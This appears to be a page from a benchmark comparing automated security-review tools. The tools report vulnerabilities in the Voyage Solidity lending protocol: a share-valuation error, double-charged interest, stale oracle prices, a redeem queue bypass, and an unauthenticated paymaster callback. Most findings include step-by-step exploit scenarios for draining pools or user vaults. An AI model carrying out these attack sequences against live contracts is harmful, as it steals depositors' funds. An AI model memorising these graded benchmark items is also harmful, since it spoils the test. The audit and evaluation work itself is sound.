Junior (or senior) tranche holds H = 100 WETH for 100 shares. Attacker (own funds or a flash loan) calls tranche.deposit(99 WETH, attacker) and gets 99 shares (balance 199, supply 199). Attacker calls tranche.withdraw(99 WETH, attacker, attacker): previewWithdraw gives 99 shares, _burn drops supply to 100, then pushWithdraw records maxUnderlying = 99 * totalAssets(199) / supply(100) = 197.01 WETH. Attacker calls claim(): availableLiquidity (199) > maxClaimable (197.01), so 197.01 WETH is transferred. Net +98.01 WETH, taken from the honest depositor, who is left with about 1.99 WETH backing 100 shares. The attacker needs no privileges and never goes through the diamond. Any attacker deposit X < H works; the payout is roughly X*(X+H)/H. Static reasoning only; nothing was executed.
- Recommendation
-
Compute the asset value of the shares before burning them and before the unbonding accounting changes (convertToAssets/previewRedeem at the pre-burn supply), or set maxUnderlying = the _amount argument already priced by previewWithdraw. Cap claims at min(maxUnderlying, current value). Add invariant tests on unbonding accounting.
Claude Security (Opus 5.5)
VToken withdraw values unbonding shares after burning them, so a withdrawer is credited with most or all of the pool
contracts/voyage/tokenization/VToken.sol:72Predicted severity: Critical- Root cause
-
Vulnerable symbol: pushWithdraw
Preconditions: Pool has other depositors' funds
Offending code:
unbondings[_user].maxUnderlying += convertToAssets(_shares);
- Impact
-
Any depositor can take almost the whole balance of either tranche, stealing the other LPs' funds.
- Description
-
VToken.withdraw burns the owner's shares and only then calls pushWithdraw, which prices them with ERC4626.convertToAssets. At that point totalSupply has already dropped, but Junior/Senior totalAssets (balance - totalUnbonding) has not changed yet because totalUnbonding is updated afterwards. claim() then pays out the inflated maxUnderlying from the shared pool balance.
- Exploit scenario
-
The junior (or senior) pool holds 100 WETH from Bob, backed by 100 shares. The attacker deposits 99 WETH and receives 99 shares (pool now 199 WETH / 199 shares). The attacker calls VToken.withdraw(99, attacker, attacker). The 99 shares are burned, leaving supply at 100, and convertToAssets(99) = 99*199/100 = 197. claim() sees a balance of 199 > 197 and sends 197 WETH to the attacker. Bob's 100 shares are now backed by about 2 WETH.
- Recommendation
-
Compute the asset value (or record it from previewWithdraw/_amount) before _burn, and update totalUnbonding in the same step. Keep totalUnbonding in asset units, or convert consistently when subtracting it in totalAssets.
Vercel Security Review
Post-burn withdrawal valuation lets depositors claim other holders' assets
contracts/voyage/tokenization/VToken.sol:53Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. Withdrawal destroys shares before valuing the queued claim** -
contracts/voyage/tokenization/VToken.sol:53-54```solidity title="contracts/voyage/tokenization/VToken.sol:53-54"
_burn(_owner, shares);
pushWithdraw(_owner, shares);
```
The new withdrawal flow reduces supply while leaving underlying assets unchanged.
**2. The burned shares receive an inflated asset valuation** -
contracts/voyage/tokenization/VToken.sol:71-73```solidity title="contracts/voyage/tokenization/VToken.sol:71-73"
unbondings[_user].shares += _shares;
unbondings[_user].maxUnderlying += convertToAssets(_shares);
totalUnbonding += _shares;
```
For a junior pool with 100 assets and 100 shares, withdrawing 49 shares records approximately 96 assets, since conversion now divides by 51 shares.
**3. Claim honors the inflated amount** -
contracts/voyage/tokenization/VToken.sol:96-99```solidity title="contracts/voyage/tokenization/VToken.sol:96-99"
if (availableLiquidity > maxClaimable) {
transferredAsset = maxClaimable;
transferredShares = unbondings[msg.sender].shares;
resetUnbondingPosition(msg.sender);
```
Line 107 transfers that amount to the caller. A depositor can withdraw and immediately claim nearly twice their stake at the expense of remaining holders.
- Exploit scenario
-
Not specified.
- Recommendation
-
Compute the queued underlying entitlement before burning, using the original requested asset amount and pre-withdrawal exchange rate. Track pending liabilities in consistent asset units and subtract those liabilities from totalAssets. Claim must never pay more than the correctly valued entitlement.
-
Buyers make first interest payment twice voyage-8 · 3 writeups High
V12
First installment interest is charged twice
contracts/voyage/facets/LoanFacet.sol:208Predicted severity: High- Root cause
-
buyNowincludes interest in its collected downpayment but also funds interest distribution with another borrower transfer instead of the already-collected funds. The excess remains in a shared diamond balance exposed to permissionless refunds. - Impact
-
A successful borrowing transaction charges the borrower an extra first-installment interest amount that is not credited against debt. Any external caller can collect the residual ETH from the diamond, creating conditional borrower fund loss whenever installment interest is nonzero.
- Description
-
buyNowsetsparams.downpaymentto the complete first installment, including both principal and interest. It collects that amount throughmsg.valueand/or a currency transfer into the diamond, then unwraps the diamond's entire WETH balance and sends only the purchase principal to the vault. After recording the first repayment, it callsLibLoan.distributeInterest, which separately pulls the same installment interest from the borrower into the tranche tokens. For a WETH reserve with no preexisting diamond balance, the purchase funding therefore leaves exactly the first installment's interest as residual ETH while additionally charging that interest in WETH. The residual is not assigned to the borrower and can be taken through the publicrefundETHhelper.
Pashov (Claude Opus 5.5 high)
buyNow charges the first instalment's interest twice and leaves the surplus ETH in the diamond
contracts/voyage/facets/LoanFacet.sol:208Predicted severity: Medium- Root cause
-
Interest is collected both as part of the down-payment and separately in distributeInterest.
- Impact
-
Every borrower overpays one instalment of interest; the excess accumulates in the diamond where anyone can take it via refundETH/sweepToken, or it is used to subsidise other calls (see multicall msg.value reuse).
- Description
-
The down-payment collected is
params.pmt.pmt = pmt.principal + pmt.interest. The diamond then receivesoutstandingPrincipalfrom the senior tranche and forwardstotalPrincipal = outstandingPrincipal + pmt.principalETH to the vault, sopmt.interestremains in the diamond. Step 11 then callsdistributeInterest, which pullspmt.interestagain from_msgSender()via transferFrom. - Exploit scenario
-
Borrower buys an NFT with pmt.interest = 0.5 ETH: sends downpayment incl. 0.5 ETH interest and additionally has 0.5 WETH transferred to tranches. Attacker then calls
refundETH()and receives the 0.5 ETH. - Recommendation
-
Collect only the principal part as down-payment (or don't pull interest again), and never leave residual funds in the diamond.
Devin Security (Deep)
buyNow charges the first instalment's interest twice and leaves one copy on the diamond where anyone can take it
deployments/rinkeby/solcInputs/8683a2c35133ff397846d93c3e914ec7.json:245Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Every borrower overpays the first interest instalment, and the extra ETH sits on the Voyage diamond where anyone can sweep it with refundETH.
##### What's wrong
This is an accounting mistake in the payment flow. The down payment pulled from the borrower is
pmt.pmt(principal plus interest), the diamond unwraps all its WETH and forwards onlytotalPrincipalto the vault, leavingpmt.interestas ETH on the diamond, anddistributeInterestthen pullspmt.interestfrom the borrower again. This artifact'sbuyNowmatches the currentcontracts/tree.##### Who can do it
Bob borrows 9 ETH over 3 instalments;
buyNowtakes 3.15 ETH down and another 0.15 ETH as interest, leaving 0.15 ETH on the diamond. Mallory callsrefundETH()on the diamond right after.- Any
buyNowhas happened and the diamond has not been swept.-
PaymentsFacet.refundETH/unwrapWETH9are public.##### What they get
Mallory collects one instalment of interest from every loan, paid by borrowers; any WETH on the diamond at the time is also unwrapped and exposed.
##### How it works
1.
downpayment = pmt.pmtis pulled (contracts/voyage/facets/LoanFacet.sol:209, 227-237).2.
unwrapWETH9unwraps the whole WETH balance (contracts/voyage/facets/LoanFacet.sol:250-259, contracts/shared/facets/PaymentsFacet.sol:15-28).3. Only
totalPrincipalETH is sent to the vault (contracts/voyage/facets/LoanFacet.sol:261).4.
distributeInterestpullspmt.interestagain (contracts/voyage/facets/LoanFacet.sol:285-289).5. Anyone calls
refundETH()(contracts/shared/facets/PaymentsFacet.sol:48-52). - Exploit scenario
-
Not specified.
- Recommendation
-
Pull only
pmt.principalas the down payment (or drop the second interest pull), unwrap exactlyoutstandingPrincipal, and assert the diamond's ETH balance is unchanged at the end ofbuyNow. Verify: diamond ETH/WETH balances are zero afterbuyNow.
-
Missing stale price oracle check results in outsized NFT price risk voyage-9 · 4 writeups High
V12
Stale floor prices govern borrowing and collateral seizure
contracts/voyage/facets/LoanFacet.sol:150Predicted severity: High- Root cause
-
Oracle timestamps are fetched but never enforced at either borrowing or liquidation. The underlying oracle also permits indefinite reads of its last nonzero value.
- Impact
-
An outdated high floor can admit financing above current collateral value and make liquidation recovery unrealistic. An outdated low floor can permit collateral seizure at an obsolete discount, causing conditional borrower loss and unnecessary junior-tranche consumption.
- Description
-
buyNowandliquidateretrieve oracle timestamps alongside floor prices but validate only that the prices are nonzero.PriceOracle.getTwapreturns the last stored update indefinitely and has no freshness enforcement of its own. Borrowing therefore accepts a historical floor as both a purchase-price ceiling and an input to the credit limit. Liquidation likewise uses an arbitrarily old floor to calculate the amount paid for seized collateral. A missed operator update does not make either entrypoint reject obsolete valuation data.
Codex Security (GPT-6 Sol)
Borrowing and liquidation can use expired floor prices
contracts/voyage/infra/PriceOracle.sol:27Predicted severity: Medium- Root cause
-
PriceOraclerecordsblock.timestampon update and returns it with price. Both loan paths assign that timestamp but only test the price for zero, so an old value remains accepted indefinitely. - Impact
-
If floor prices move after the last update, a borrower may receive excessive credit or a liquidator may acquire collateral at an outdated discount. Likelihood is medium under the stated prerequisites.
- Description
-
buyNowandliquidateread oracle timestamps but never enforce a maximum age, allowing transactions against an old nonzero floor price. - Exploit scenario
-
contracts/voyage/infra/PriceOracle.sol:27 to contracts/voyage/facets/LoanFacet.sol:396
- Recommendation
-
Enforce a configured maximum oracle age in borrowing and liquidation, with a safe pause or alternate path when the price expires.
Pashov (Claude Opus 5.5 high)
Oracle TWAP timestamp is ignored: stale floor prices are used for borrowing and liquidation
contracts/voyage/facets/LoanFacet.sol:153Predicted severity: Medium- Root cause
-
Missing staleness check on an operator-pushed oracle.
- Impact
-
If the operator stops updating (outage, key loss) or the market moves sharply, borrowers can borrow against outdated, inflated floor prices (fv >= price check passes) and liquidators settle at outdated prices, causing bad debt or unfair liquidations.
- Description
-
buyNow and liquidate read
(price, timestamp)from the PriceOracle but only checkprice != 0; the update time is never validated. - Exploit scenario
-
Collection floor drops 50% but the oracle was last updated a day earlier; an attacker buys NFTs at the current (halved) market price but the principal check and credit limit are evaluated against the stale floor, so the loan is sized on a value the collateral no longer has; on default, the liquidation recovery (also priced from the stale floor, then from the real market) leaves bad debt.
- Recommendation
-
Require
block.timestamp - timestamp <= maxAge(configurable per reserve) in both buyNow and liquidate.
Devin Security (Deep)
buyNow and liquidate ignore the oracle timestamp, so a stale floor price is used for loan sizing and liquidation pricing
home/ubuntu/extracted/goerli_solc/contracts/voyage/facets/LoanFacet.sol:194Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
If the price operator stops updating a collection's floor price, borrowers can keep taking loans against the old, higher price and liquidators are charged the old price, so lenders can be left under-collateralized after a market drop.
##### What's wrong
This is a missing freshness check on oracle data.
PriceOracle.getTwapreturns both a price and the time it was written, andLoanFacet.buyNowandliquidateread the timestamp intoparams.timestamp/param.floorPriceTimebut never compare it toblock.timestamp.##### Who can do it
Acme's price operator posts a floor of 10 WETH for a collection and then goes offline for a week while the floor falls to 2 WETH. Mallory, a user with a Vault, calls
buyNowwith an order priced at 10 WETH for an NFT from that collection (which she can list herself) and borrows against it.- The operator-run oracle must be stale for the collection (no on-chain guarantee of updates exists).
- Mallory needs a Vault and the downpayment for one instalment.
##### What they get
Mallory borrows up to the stale floor against an NFT now worth far less, defaults, and the lenders recover only the discounted stale floor from a liquidator (if any liquidator is willing to overpay) or nothing. The senior and junior depositors of that reserve carry the loss; other reserves are unaffected.
##### How it works
1.
buyNowreads(params.fv, params.timestamp)from the oracle (contracts/voyage/facets/LoanFacet.sol:196-204) and only checksfv == 0andfv < totalPrincipal.2. The credit limit and the loan amount are derived from
fvwith no age check.3.
liquidatereads(floorPrice, floorPriceTime)(:444-452) and again uses the price without checking the time.4.
PriceOracle.updateTwap(contracts/voyage/infra/PriceOracle.sol:38-44) is the only write path and is manual, so staleness is realistic. - Exploit scenario
-
Not specified.
- Recommendation
-
Add a per-reserve
maxTwapStalenessand revert inbuyNowandliquidatewhenblock.timestamp - timestamp > maxTwapStaleness. Verify with a test thatbuyNowreverts once the oracle entry is older than the configured limit.
-
Calls to redeem(...) can result in lost depositor funds voyage-10 · 5 writeups High
V12
Immediate redemption drains queued exit reserves
contracts/voyage/tokenization/VToken.sol:41Predicted severity: High- Root cause
-
The implementation overrides only
withdraw()while leaving inherited immediateredeem()exposed, and it reserves pending exits by subtracting share units from asset units. At share prices above one, immediate redemption can consume the unreserved portion of pending claims. - Impact
-
A shareholder can front-run or follow a queued withdrawal with direct redemption and take assets reserved for the queued claimant. The claimant suffers direct principal loss while the redeemer receives more than their fair unreserved share.
- Description
-
VTokenqueues onlywithdraw(); it inheritsredeem()unchanged, so remaining holders can immediately transfer underlying while another user's exit is pending. The tranche reserves pending shares by subtracting their numeric value directly from asset-denominatedtotalAssets(), which under-reserves a claim whenever the share price exceeds one. With 200 assets and 100 shares, a request for 20 assets burns 10 shares and adds 10 tototalUnbonding; the other 90 shares then see 190 assets and can redeem all 90 for 190 underlying. Only 10 remains for the queued user despite that user having requested and burned shares for 20 assets. Yield or interest transfers naturally create a price above one, so this does not require a donation-only setup.
Codex Security (GPT-6 Sol)
Share holders can redeem immediately around the withdrawal queue
contracts/voyage/tokenization/VToken.sol:41Predicted severity: Medium- Root cause
-
The override of
withdrawremoves the immediate asset transfer and records a claim. No matchingredeemoverride exists, so the inherited method uses_burnfollowed byasset.safeTransferdirectly. - Impact
-
A holder can exit before queued claimants and take liquid assets that would otherwise satisfy pending withdrawals. Likelihood is high under the stated prerequisites.
- Description
-
VTokenqueueswithdrawinto an unbonding claim but inheritsERC4626.redeem, which burns shares and immediately transfers liquid underlying to the caller. - Exploit scenario
-
contracts/voyage/tokenization/VToken.sol:41 to contracts/shared/tokenization/ERC4626.sol:90
- Recommendation
-
Override
redeemto use the same pending-claim accounting aswithdraw, or disable redemption if unsupported.
Pashov (Claude Opus 5.5 high)
ERC4626 redeem/mint are not overridden in VToken, letting holders bypass the unbonding queue and take liquidity owed to unbonding users
contracts/shared/tokenization/ERC4626.sol:90Predicted severity: Medium- Root cause
-
Inconsistent exit paths: only one of the two ERC4626 exit functions applies the unbonding logic.
- Impact
-
Users can skip the queue/cooldown and withdraw instantly, draining the liquid balance needed to pay claimants who unbonded earlier; claimants receive partial or no payment. It also amplifies the totalUnbonding share/asset mismatch.
- Description
-
VToken only overrides
withdrawto route exits through the unbonding queue, but inherits the public ERC4626redeem, which burns shares and immediately transferspreviewRedeem(shares)assets from the contract balance. That balance includes assets already promised to users in the unbonding queue (whose maxUnderlying is still sitting in the contract). - Exploit scenario
-
Senior pool has 100 liquid WETH, 80 of which are owed to Alice who called withdraw. Bob calls
seniorToken.redeem(shares, bob, bob)directly and receives 60 WETH, leaving Alice unable to claim her full amount. - Recommendation
-
Override redeem (and mint/deposit as appropriate) to use the same unbonding logic, or disable them.
Pashov (Codex GPT-6 Sol high)
Withdrawal cooldown and queue can be bypassed through redeem
audit/contracts/shared/tokenization/ERC4626.sol:90Predicted severity: Medium- Root cause
-
Neither the claim path nor the inherited redeem path enforces the cooldown or queue policy.
- Impact
-
Depositors can exit before the intended waiting period and avoid sharing subsequent loan or liquidation losses.
- Description
-
VToken declares a seven-day cooldown and overrides withdraw to queue claims, but claim checks no time and inherited redeem burns shares for immediate asset transfer.
- Exploit scenario
-
A tranche holder calls inherited redeem(shares,receiver,owner) and receives assets immediately; alternatively the holder withdraws then calls claim in the same transaction when cash exceeds the recorded cap.
- Recommendation
-
Override redeem to use the same queued exit, record a withdrawal timestamp, and enforce cooldown in claim.
Devin Security (Deep)
Deposit tokens allow instant exit via redeem and claim, bypassing the unbonding queue and cooldown
deployments/rinkeby/solcInputs/8683a2c35133ff397846d93c3e914ec7.json:215Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
A depositor who sees a loss coming can exit instantly through redeem, taking liquidity that was reserved for users already waiting in the withdrawal queue.
##### What's wrong
VTokenoverrideswithdrawto queue shares but inheritsERC4626.redeem, which pays out immediately and ignorestotalUnbonding;claim()never checks the declaredcooldown. Same source as the deployed artifact.##### Who can do it
Alice has a queued withdrawal; Mallory, another depositor, calls
redeem(shares, mallory, mallory)on the token ahead of a write-down.- The attacker holds deposit-token shares and the token has WETH balance.
##### What they get
Mallory exits at full pre-loss value with the WETH Alice's claim depended on; the loss falls on remaining depositors.
##### How it works
1.
VTokenoverrideswithdrawonly (contracts/voyage/tokenization/VToken.sol:41-57).2.
ERC4626.redeempays out instantly (contracts/shared/tokenization/ERC4626.sol:90-109).3.
claim()has no cooldown check;cooldownis unused (contracts/voyage/tokenization/VToken.sol:24, 91-108). - Exploit scenario
-
Not specified.
- Recommendation
-
Override
redeemto use the unbonding logic (or revert) and enforce the cooldown inclaim. Verify:redeemmust revert or queue;claimbefore cooldown must revert.
-
Incorrect calculation in refundGas voyage-11 · 4 writeups Medium
V12
Partial gas refunds underflow despite available funds
contracts/vault/Vault.sol:125Predicted severity: Medium- Root cause
-
The deficient-balance branch subtracts
balanceWETH9from the initial ETH remainder instead of adding the WETH just unwrapped.amountRefundabletherefore does not reflect the vault's available native funding. - Impact
-
Settlement can revert while a vault still has spendable ETH/WETH, preventing its gas refund from completing. This matters when funds become insufficient between the paymaster's initial funding check and settlement, or on direct settlement requests permitted by the current paymaster; the exact relay-hub recovery behavior after such a revert is outside the supplied source.
- Description
-
refundGasattempts to refund whatever funding is available when the requested WETH shortfall exceeds the vault's WETH balance. After unwrapping that balance, it computesamountRefundable - toUnwrap - balanceWETH9. SincetoUnwrapis the requested amount minus the original ETH balance, this evaluates to original ETH minus WETH rather than the available ETH plus WETH. If the WETH balance exceeds the original ETH balance, checked arithmetic reverts and even the unwrap rolls back. If the arithmetic succeeds, it under-refunds by twice the WETH balance despite having unwrapped those funds.
Pashov (Claude Opus 5.5 high)
Vault.refundGas miscomputes the refundable amount when WETH is insufficient (underflow / short refund)
contracts/vault/Vault.sol:125Predicted severity: Low- Root cause
-
Incorrect arithmetic (sign error in subtraction).
- Impact
-
If the vault's WETH balance exceeds its ETH balance the function underflows and reverts, so the paymaster cannot recover gas costs (adding to paymaster losses); otherwise it refunds far less than what is available (unwrapped WETH stays in the vault as ETH).
- Description
-
When
toUnwrap > balanceWETH9, the code setsamountRefundable = amountRefundable - toUnwrap - balanceWETH9, which equalsethBal - balanceWETH9. The intended value is_amount - (toUnwrap - balanceWETH9) = ethBal + balanceWETH9. - Exploit scenario
-
Vault has 0.01 ETH and 0.02 WETH; paymaster requests 0.05. toUnwrap=0.04 > 0.02 so amountRefundable = 0.05-0.04-0.02 -> underflow revert.
- Recommendation
-
Use
amountRefundable = ethBal + balanceWETH9in the shortfall branch.
Pashov (Codex GPT-6 Sol high)
Refund gas arithmetic underflows when vault has insufficient funds
audit/contracts/vault/Vault.sol:125Predicted severity: Medium- Root cause
-
The fallback ETH/WETH payment calculation uses inconsistent remaining-amount arithmetic.
- Impact
-
Relayed calls to low-balance vaults revert instead of paying the available amount.
- Description
-
The gas refund path subtracts the WETH balance from an already reduced amount even when that balance is insufficient to cover the requested refund.
- Exploit scenario
-
For a 100-unit refund with 10 ETH and 20 WETH, the computed subtraction underflows.
- Recommendation
-
Calculate the unpaid remainder once, cap WETH withdrawal by balance, and transfer only available funds.
Devin Security (Deep)
Vault.refundGas double-subtracts the unwrapped WETH, causing refund reverts or wrong amounts
contracts/vault/Vault.sol:125Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
When a Vault has to unwrap WETH to pay a gas refund and does not have quite enough, the arithmetic underflows and the whole relayed transaction fails, so this only causes failed gas-sponsored calls, not fund loss.
##### What's wrong
This is an arithmetic bug. In the branch where the Vault's WETH is less than what is still needed,
amountRefundablehastoUnwrapsubtracted (which already equals the remaining shortfall) and thenbalanceWETH9subtracted again, so the value underflows and reverts instead of settling for what is available, which is the opposite of the comment above it.##### Who can do it
Alice, a Voyage user, sends a gasless transaction while her Vault holds a little ETH and a little WETH. The paymaster calls
refundGas; the branch is entered and the call reverts. Nobody gains; the relayed action simply fails.- Only the configured paymaster can call
refundGas.- The Vault must have ETH + WETH below the requested refund.
##### What they get
No attacker gain. Gas-sponsored transactions for under-funded Vaults fail, and in GSN the paymaster deposit is charged for the failed attempt.
##### How it works
1.
refundGas(contracts/vault/Vault.sol:125-146) computestoUnwrap = amountRefundable - balance.2. If
balanceWETH9 < toUnwrap, it unwrapsbalanceWETH9and setsamountRefundable = amountRefundable - toUnwrap - balanceWETH9.3. Since
amountRefundable - toUnwrap == balance, subtractingbalanceWETH9again underflows wheneverbalanceWETH9 > balance, reverting the call. - Exploit scenario
-
Not specified.
- Recommendation
-
Set
amountRefundable = address(this).balanceafter unwrapping (that is,balance + balanceWETH9). Verify with a unit test where the Vault has 0.01 ETH and 0.02 WETH and a 0.05 ETH refund is requested; it should transfer 0.03 ETH instead of reverting.
-
Missing access control on postRelayedCall leading to ETH transfer from Vault voyage-12 · 7 writeups High
V12
Public settlement callback enables unauthorized vault depletion
contracts/shared/gsn/VoyagePaymaster.sol:89Predicted severity: High- Root cause
-
The state-changing
postRelayedCalloverride omits hub-only authorization and trusts externally supplied settlement context and gas parameters. The vault'sonlyPaymasterauthenticates the intermediary contract, not the caller or relay that caused it to request a refund. - Impact
-
Anyone can force transfers of a victim vault's ETH and WETH to the configured treasury without the vault owner's authorization or an actual relayed transaction. The attacker cannot select the treasury through this path, but can repeat fabricated refunds to deplete user funds; no hub deployment is required.
- Description
-
postRelayedCallis an unrestricted external override that accepts caller-suppliedcontext,gasUseWithoutPost, andrelayDatawithout a hub-only modifier or an in-body caller check. An arbitrary caller can supplyabi.encode(victimVault)and fabricated gas parameters, bypassingpreRelayedCall, any relay signature validation, and the sender-to-vault registry lookup. The paymaster then calls the selected vault'srefundGas, whereonlyPaymastersucceeds because the immediate caller is the configured paymaster contract. For requests covered by the vault's ETH or combined ETH/WETH balance, the vault transfers the fabricated charge to the immutable treasury. The tests directly invoke this override with manually encoded vault addresses, independently of the broken context produced by the pre-relay callback.
Codex Security (GPT-6 Sol)
Any caller can debit a user's vault through paymaster settlement
contracts/shared/gsn/VoyagePaymaster.sol:89Predicted severity: High- Root cause
-
The external callback has no RelayHub caller check. It decodes caller-controlled
contextas a vault and computes a refund from caller-controlled gas fields.Vault.refundGastrusts the immediate paymaster caller, so it cannot distinguish a forged settlement. - Impact
-
An unprivileged caller can deplete a funded victim vault into the fixed treasury; the attacker cannot choose the recipient. Likelihood is high under the stated prerequisites.
- Description
-
postRelayedCallaccepts unauthenticated callers and caller-supplied settlement context, then instructs a victim vault to transfer ETH or WETH to the paymaster treasury. - Exploit scenario
-
contracts/shared/gsn/VoyagePaymaster.sol:89 to contracts/vault/Vault.sol:125
- Recommendation
-
Require the trusted RelayHub on both callbacks and bind the context, vault, and refund to a verified relay.
Pashov (Codex GPT-6 Sol high)
Anyone can invoke paymaster settlement against a user vault
audit/contracts/shared/gsn/VoyagePaymaster.sol:89Predicted severity: High- Root cause
-
The paymaster settlement hook is externally callable without authenticating the relay hub.
- Impact
-
An attacker can force an unrelated vault to transfer available ETH or WETH to the treasury without a relay transaction.
- Description
-
postRelayedCall lacks a relay-hub caller restriction and trusts supplied context to identify the vault charged for gas.
- Exploit scenario
-
The attacker calls postRelayedCall with abi.encode(victimVault) and arbitrary gas usage; paymaster then calls victimVault.refundGas, which trusts the paymaster address.
- Recommendation
-
Restrict postRelayedCall to the configured relay hub and bind context to a validated preRelayedCall.
Devin Security (Deep)
Anyone can call VoyagePaymaster.postRelayedCall to drain any user's vault ETH and WETH to the treasury
deployments/rinkeby/solcInputs/12dd858cd3471725424835f3a0db1659.json:320Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone on the internet can empty every user's vault of ETH and WETH by calling the paymaster's post-relay hook directly, sending the funds to the protocol treasury.
##### What's wrong
This is a missing access check on a privileged callback. GSN's
IPaymasterrequirespostRelayedCallto be guarded withrelayHubOnly;VoyagePaymaster.postRelayedCallhas no modifier. It decodes a vault address from caller-suppliedcontext, computes a refund from caller-suppliedgasUseWithoutPostandrelayData.gasPrice, and callsIVault(vault).refundGas(refund, treasury). The vault trusts the paymaster unconditionally throughonlyPaymaster.##### Who can do it
Alice's vault holds 5 ETH and 20 WETH (a liquidation refund). Mallory, with no account, calls
paymaster.postRelayedCall(abi.encode(aliceVault), true, N, relayData), choosingNandrelayData.gasPriceso that the computed fee equals 25 ETH.- The target vault holds any ETH or WETH.
- The paymaster address stored in the vault at
Vault.initializeis the deployedVoyagePaymaster.##### What they get
Alice's vault unwraps its WETH and sends all 25 ETH to the treasury address. Mallory gains nothing directly, but she can wipe out the ETH and WETH of every vault in the protocol at any time, including liquidation refunds and gas deposits, and users then depend on the treasury owner to hand funds back. Because vault ETH is also what pays for gasless transactions, every victim also loses gasless usage.
##### How it works
1. Mallory calls
VoyagePaymaster.postRelayedCall(context, success, gasUseWithoutPost, relayData); there is norelayHubOnlyor other sender check (contracts/shared/gsn/VoyagePaymaster.sol:89-107).2.
vault = abi.decode(context, (address))is Alice's vault, andminimumFees = (gasUseWithoutPost + 21000 + msg.data.length * 8 + 35000) * relayData.gasPriceis fully attacker-controlled (contracts/shared/gsn/VoyagePaymaster.sol:95-105).3. The paymaster calls
IVault(vault).refundGas(refund, treasury);Vault.onlyPaymasterpasses becausemsg.senderis the paymaster (contracts/vault/Vault.sol:87-90 and 125-155).4.
refundGasunwraps WETH as needed and sends the amount as ETH to the treasury. - Exploit scenario
-
Not specified.
- Recommendation
-
Add
relayHubOnlytopostRelayedCall(andpreRelayedCall). InVault.refundGas, also cap the refund to a bound recorded in the pre-call context (for examplemaxPossibleGas * gasPrice) so even the hub cannot over-charge. Verify: callingpostRelayedCallfrom a non-hub account must revert with the RelayHub-only error, and a hub-originated call must not be able to refund more than the pre-call bound.
Claude Security (Sonnet 5.5)
VoyagePaymaster.postRelayedCall has no relayHubOnly check and lets anyone force any vault to refund arbitrary ETH/WETH to the treasury
contracts/shared/gsn/VoyagePaymaster.sol:89Predicted severity: High- Root cause
-
Vulnerable symbol: VoyagePaymaster.postRelayedCall
Offending code:
function postRelayedCall(
- Impact
-
Any user's vault ETH and WETH can be drained to the treasury by any caller, with no authentication. This is user fund loss and an easy griefing or DoS vector against the protocol's users.
- Description
-
postRelayedCallis external with norelayHubOnlyguard. It decodes a vault address from caller-suppliedcontextand computesrefundfrom caller-suppliedgasUseWithoutPostandrelayData.gasPrice. It then callsIVault(vault).refundGas(refund, treasury). The vault only checksmsg.sender == paymaster, which this contract satisfies for any caller. - Exploit scenario
-
An attacker calls
paymaster.postRelayedCall(abi.encode(victimVault), true, X, {gasPrice: 1, ...}), choosing X so thatrefundequals the vault's ETH balance. For WETH-only vaults the attacker picksrefundwithin ETH+WETH, so the vault unwraps WETH and sends it. The vault pays ETH totreasury, and the attacker repeats this for every vault. - Recommendation
-
Guard
preRelayedCallandpostRelayedCallwith therelayHubOnlyor_verifyRelayHubOnly()check from BasePaymaster. Also bind the context to the vault computed inpreRelayedCallrather than decoding a caller-supplied address, and note thatpreRelayedCallcurrently putsrequest.from(the EOA) in the context.
Claude Security (Opus 5.5)
Anyone can call VoyagePaymaster.postRelayedCall to drain any user's vault ETH/WETH through Vault.refundGas
contracts/shared/gsn/VoyagePaymaster.sol:89Predicted severity: High- Root cause
-
Vulnerable symbol: postRelayedCall
Preconditions: The victim vault holds ETH or WETH
Offending code:
function postRelayedCall(
- Impact
-
Anyone, without authentication, can empty the ETH and WETH of every user vault. That includes gas deposits, liquidation refunds credited to the vault, and principal ETH sitting in the vault. The funds go to the protocol treasury, so users lose them and gasless relaying stops working for everyone.
- Description
-
postRelayedCall has no relayHubOnly check (GSN 2.2.x BasePaymaster leaves that check to the subclass). It takes
context(the vault address) andgasUseWithoutPost/relayData.gasPrice(the refund amount) from the caller and calls IVault(vault).refundGas(refund, treasury). Vault.refundGas checks only that msg.sender == paymaster, so any external caller who goes through the paymaster gets past the vault's only access check. - Exploit scenario
-
The attacker reads victimVault = voyage.getVaultAddr(victim). They call paymaster.postRelayedCall(abi.encode(victimVault), true, G, relayData{gasPrice: 1, ...}) with G chosen so that (G + 21000 + calldata*8 + 35000) equals ETH(vault) + WETH(vault). refundGas unwraps all of the vault's WETH and sends the vault's entire ETH and WETH balance to the treasury. The attacker can repeat this for every vault in s.vaults.
- Recommendation
-
Add the
relayHubOnlymodifier (or an equivalentrequire(msg.sender == getHubAddr())) to postRelayedCall and preRelayedCall. Also bind the refunded vault to the relayed request: derive it from request.from in preRelayedCall and encode it consistently (abi.encode, not encodePacked of the user address) so postRelayedCall cannot be pointed at an arbitrary vault.
Vercel Security Review
Unauthenticated paymaster callback can force arbitrary vault gas refunds
contracts/shared/gsn/VoyagePaymaster.sol:94Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. The new post-relay callback trusts externally supplied context** -
contracts/shared/gsn/VoyagePaymaster.sol:92-95```solidity title="contracts/shared/gsn/VoyagePaymaster.sol:92-95"
uint256 gasUseWithoutPost,
GsnTypes.RelayData calldata relayData
) external virtual override {
address vault = abi.decode(context, (address));
```
Anyone, not just RelayHub, can select a victim vault and invent gas usage and price without a relayed transaction.
**2. Those inputs trigger a privileged refund** -
contracts/shared/gsn/VoyagePaymaster.sol:103-106```solidity title="contracts/shared/gsn/VoyagePaymaster.sol:103-106"
uint256 refund = vault.balance >= minimumFees
? minimumFees
: minimumFees + 21000 * relayData.gasPrice; // cover cost of unwrapping WETH
IVault(vault).refundGas(refund, treasury);
```
**3. The vault pays because the immediate caller is its trusted paymaster** -
contracts/vault/Vault.sol:142-144```solidity title="contracts/vault/Vault.sol:142-144"
(bool success, bytes memory result) = _dst.call{
value: amountRefundable
}(EMPTY_BYTES);
```
onlyPaymasterat line 125 does not authenticate the originating caller. Attackers can deplete other users' ETH/WETH into the fixed treasury; they cannot choose the destination. - Exploit scenario
-
Not specified.
- Recommendation
-
